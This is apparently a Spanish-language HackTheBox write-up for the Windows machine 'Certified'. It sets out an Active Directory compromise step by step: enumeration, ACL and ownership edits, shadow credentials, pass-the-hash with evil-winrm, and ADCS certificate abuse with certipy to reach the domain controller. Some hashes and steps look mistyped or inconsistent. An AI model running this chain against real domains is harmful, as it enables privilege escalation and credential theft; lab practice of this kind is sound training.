Certified

Certified


HTB Windows

nmap -A -p- -oA certified 10.129.231.186 --min-rate=10000 --script=vuln --script-timeout=15 -v

nmap -sC -sV -O -p- -oA certified 10.129.231.186

ping -c 1 10.129.231.186

echo "10.129.231.186 certified.htb dc01.certified.htb" | sudo tee -a /etc/hosts

ssh_command.

nmap -sU -O -p- -oA certified-udp 10.129.231.186

nmap -p- --open -T5 -v -n 10.129.231.186

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.231.186 -oG allPorts

ssh_command.

extractPorts allPorts

ssh_command.

nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985 10.129.231.186 -oN targeted

ssh_command.

bc targeted -l rb

ssh_command.

rpcclient -U "judith.mader%judith09" 10.129.231.186 -N -c "enumdomusers" | grep -oP '\[.*?\]' | grep -v "0x" | tr -d '[]' > users.txt

ssh_command.

smbclient -U 'certified.htb/judith.mader%judith09' -L //10.129.231.186

ssh_command.

netexec smb 10.129.231.186

ssh_command.

netexec smb DC01.certified.htb --shares

ssh_command.

netexec smb DC01.certified.htb -u 'judith.mader' -p 'judith09' --shares

ssh_command.

smbmap -u 'judith.mader' -p 'judith09' 10.129.231.186 -r SYSVOL

ssh_command.

sudo timedatectl set-ntp off

sudo rdate -n 10.129.232.127

sudo ntpdate -u dc01.certified.htb

Por razones de ‘skew to great’ corri los comandos de arriba.

ssh_command.

hashcat hash /usr/share/wordlists/rockyou.txt -m 13100

Pero no me sirvio de nada.

rpcclient -U "judith.mader%judith09" 10.129.231.186 -c 'enumdomgroups'

ssh_command.

rpcclient -U "judith.mader%judith09" 10.129.231.186 -c 'querygroupmem 0x450'

rpcclient -U "judith.mader%judith09" 10.129.231.186 -c 'queryuser 0x451'

ssh_command.

ldapdomaindump -u 'certified.htb\judith.mader' -p 'judith09' -o ldd ldap://10.129.231.186

ssh_command.

open ldd/domain_users_by_group.html

ssh_command.

netexec winrm DC01.certified.htb -u 'judith.mdader' -p 'judith09'

Como no dice Pawned y sale [-] eso significa que no se puede conectar por winrm

netexec winrm certified.htb -u 'judith.mader' -p 'judith09'

ssh_command.

bloodhound-python -u judith.mader -p judith09 -ns 10.129.231.186 --zip -c All -d certified.htb

ssh_command.

Iniciamos bloodhoundCE

docker-compose pull && docker-compose up

Subimos el zip.

ssh_command.

ssh_command.

Nos dirigimos a cypher y nos ponemos a ver nuestro usuario judith.

ssh_command.

Aqui podemos ver los pasos para poder ser miembro de management

ssh_command.

Ahora podemos ver como management esta ligado a management_svc

ssh_command.

Queremos un paso de Judith a CA_OPERATOR

ssh_command.

ssh_command.

Seguimos editando al usuario que va ser el due~o

impacket-owneredit -dc-ip 10.129.231.186 -target 'Management' -new-owner 'judith.mader' -action write 'certified.htb/judith.mader:judith09' 2>/dev/null

ssh_command.

Verificamos que todo este bien.

impacket-owneredit -dc-ip 10.129.231.186 -target 'Management' -new-owner 'judith.mader' -action read 'certified.htb/judith.mader:judith09' 2>/dev/null

ssh_command.

Podemos correr el siguiente paso para tener control completo del grupo.

impacket-dacledit -dc-ip 10.129.231.186 -action ‘write’ -rights ‘FullControl’ -principal ‘judith.mader’ -target ‘Management’ ‘certified.htb/judith.mader:judith09’ 2>/dev/null

ssh_command.

Para poder darnos control sobre el grupo corremos lo siguiente:

dacledit.py -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target-dn 'CN=MA MANAGEMENT, CN=USERS,DC=CERTIFIED,DC=HTB' 'certified.htb/judith.mader:judith09'

ssh_command.

Para hacernos miembros del grupo.

net rpc group addmem 'Management' 'judith.mader' -U 'certified.htb/judith.mader%judith09' -S 10.129.231.186

ssh_command.

net rpc group members 'Management' -U 'certified.htb/judith.mader%judith09' -S 10.129.231.186

ssh_command.

Con esto nos damos cuenta que ya somos miembros.

impacket-net -dc-ip 10.129.231.186 CERTIFIED/judith.mader:'judith09'@DC01.certified.htb group -name 'Management' -join 'judith.mader'

No se si tenian un script pero me quitaba judith del grupo

pywhisker -d "certified.htb" -u "judith.mader" -p "judith09" --target "management_svc" --action "add"

Agregamos las credenciales de shadow

ssh_command.

python /opt/PKINITtools/gettgtpkinit.py -cert-pfx aFsQvCE.pfx -pfx-pass g4qTjAHl3FclWdRXOxSu certified.htb/management_svc management_svc.ccache

ssh_command.

KRB5CCNAME=management_svc.ccache python /opt/PKINITtools/getnthash.py -key 22c57c667452bfb6573b... -dc-ip 10.129.231.186 certified.htb/management_svc

ssh_command.

Conseguimos un hash para pass the hash

netexec smb DC01.certified.htb -u 'management_svc' -H a091c1832bcdd4677c28b5a6a1295584

ssh_command.

netexec winrm DC01.certified.htb -u 'management_svc' -H a091c1832bcdd4677c28b5a6a1295584

ssh_command.

evil-winrm -i 10.129.231.186 -u 'management_svc' -H a091c1832bcdd4677c28b5a6a1295584

Iniciamos sesion y agarramos el usuario.txt

type user.txt

ssh_command.

pywhisker -d "certified.htb" -u "management_svc" -H a091c1832bcdd4677c28b5a6a1295584 --target "ca_operator" --action "add"

ssh_command.

python /opt/PKINITtools/gettgtpkinit.py -cert-pfx 480gZhB9.pfx -pfx-pass 746agx0I40FqD59gouqe certified.htb/ca_operator ca_operator.ccache

ssh_command.

KRB5CCNAME=ca_operator.ccache python /opt/PKINITtools/getnthash.py -key cfc8bf8e05... -dc-ip 10.129.231.186 certified.htb/ca_operator

ssh_command.

Conseguimos el hash para el pass the hash.

netexec smb DC01.certified.htb -u 'ca_operator' -H 'b4b86g45c6018f1b664f70805f45d8f2'

ssh_command.

certipy-ad find -username 'ca_operator' -hashes :b4b86g45c6018f1b664f70805f45d8f2 -dc-ip 10.129.133.215 -vulnerable -text -enabled

ssh_command.

certipy-ad find -vulnerable -username 'ca_operator' -hashes :b4b86g45c6018f1b664f70805f45d8f2 -dc-ip 10.129.133.215 -stdout

ssh_command. ssh_command.

certipy-ad account -username 'management_svc@certified.htb' -hashes 'a091c1832bcdd4677c28b5a6a1295584' -upn 'ca_operator@certified.htb' -user 'ca_operator' -dc-ip '10.129.231.186' update

ssh_command.

certipy-ad account -vulnerable -username 'management_svc@certified.htb' -hashes a091c1832bcdd4677c28b5a6a1295584 -dc-ip 10.129.231.186 -stdout

ssh_command.

certipy-ad req -username 'ca_operator' -hashes a091c1832bcdd4677c28b5a6a1295584 -ca 'certified-DC01-CA' -template 'CertifiedAuthentication' -dc-ip 10.129.231.186

ssh_command.

certipy-ad account update -username 'management_svc' -hashes 'b4b86g45c6018f1b664f70805f45d8f2' -user 'ca_operator' -upn 'ca_operator@certified.htb' -dc-ip 10.129.231.186

ssh_command.

certipy-ad auth -pfx ca_operator.pfx -domain 'certified.htb' -dc-ip 10.129.231.186

ssh_command.

evil-winrm -i 10.129.231.186 -u 'management_svc' -H 0d5b49608bbce1751f708748f67e2d34

type root.txt

ssh_command.

© 2025 Cu3rv0x